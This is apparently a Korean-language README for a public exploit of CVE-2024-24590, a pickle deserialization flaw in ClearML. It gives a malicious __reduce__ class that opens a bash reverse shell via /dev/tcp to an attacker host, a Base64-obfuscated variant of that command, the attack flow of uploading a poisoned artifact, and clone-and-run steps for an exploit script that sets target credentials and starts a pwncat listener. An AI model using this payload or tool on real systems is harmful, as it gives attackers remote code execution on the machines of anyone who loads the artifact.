
CVE-2024-24590 – 안전하지 않은 pickle 아티팩트 역직렬화를 통한 ClearML RCE (0.17.0–1.14.2)
| 필드 | 세부사항 |
|---|---|
| CVE | CVE-2024-24590 |
| 소프트웨어 | ClearML |
| 영향을 받는 버전 | 0.17.0 – 1.14.2 |
| 취약점 | 작업 아티팩트의 안전하지 않은 pickle 역직렬화 |
| 인증 | ClearML 프로젝트에 대한 쓰기 접근 필요 |
| 영향 | 아티팩트를 로드하는 모든 머신에서 원격 코드 실행 |
| 테스트 환경 | Ubuntu 22.04, Python 3.9+ |
ClearML은 실험을 추적하고, 데이터셋을 관리하며, 팀 구성원 간에 아티팩트(모델, 파일, 객체)를 공유하는 MLOps 플랫폼입니다. 작업 아티팩트가 Python 객체로 업로드되면 ClearML은 Python의 pickle 모듈을 사용하여 직렬화합니다. 다른 사용자가 해당 아티팩트를 다운로드하여 로드하면 ClearML은 무결성 검증이나 클래스 허용 목록 없이 pickle을 사용하여 역직렬화합니다.
공유 ClearML 프로젝트에 쓰기 접근 권한을 가진 공격자는 재정의된 __reduce__ 메서드를 포함하는 악성 아티팩트를 업로드할 수 있습니다. 해당 아티팩트를 가져와 로드하는 모든 팀원 또는 자동화된 파이프라인은 역직렬화 중에 공격자의 페이로드를 실행하게 되어 해당 머신에서 RCE를 달성합니다.
Python의 pickle 모듈은 신뢰할 수 없는 입력에 대해 근본적으로 안전하지 않습니다. 클래스의 __reduce__ 매직 메서드는 역직렬화 중에 객체가 재구성되는 방식을 제어하며, os.system을 포함한 모든 호출 가능 객체와 인수를 반환할 수 있습니다:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
피클링된 후 나중에 역피클링되면, Python은 객체 재구성의 일부로 os.system(cmd)를 호출합니다 — 호출자가 객체를 검사할 기회를 갖기 전에.
공격자 (프로젝트 쓰기 접근)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML 서버가 아티팩트를 피클된 바이너리 blob으로 저장
│
▼
피해자가 아티팩트를 가져옴 (자동화 파이프라인 / 수동 검토)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ 발동 → os.system(reverse_shell_cmd)
│
▼
리버스 셸이 공격자에게 연결
리버스 셸 명령은 직렬화된 문자열에서 셸 따옴표 문제를 피하기 위해 임베딩 전에 Base64로 인코딩됩니다:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
요구 사항: clearml, pwntools, colorama
python3 exploit.py
대화형 메뉴는 두 단계로 구성됩니다:
1단계 — ClearML 초기화 (option 1)
clearml-init을 실행하여 대상 ClearML 서버에 대한 자격 증명을 구성합니다. 기존 ~/clearml.conf가 있으면 먼저 백업합니다.
2단계 — 익스플로잇 실행 (option 2)
다음을 입력하라는 메시지가 표시됩니다:
선택적으로 아티팩트 업로드 전에 pwncat 리스너를 자동으로 시작합니다.
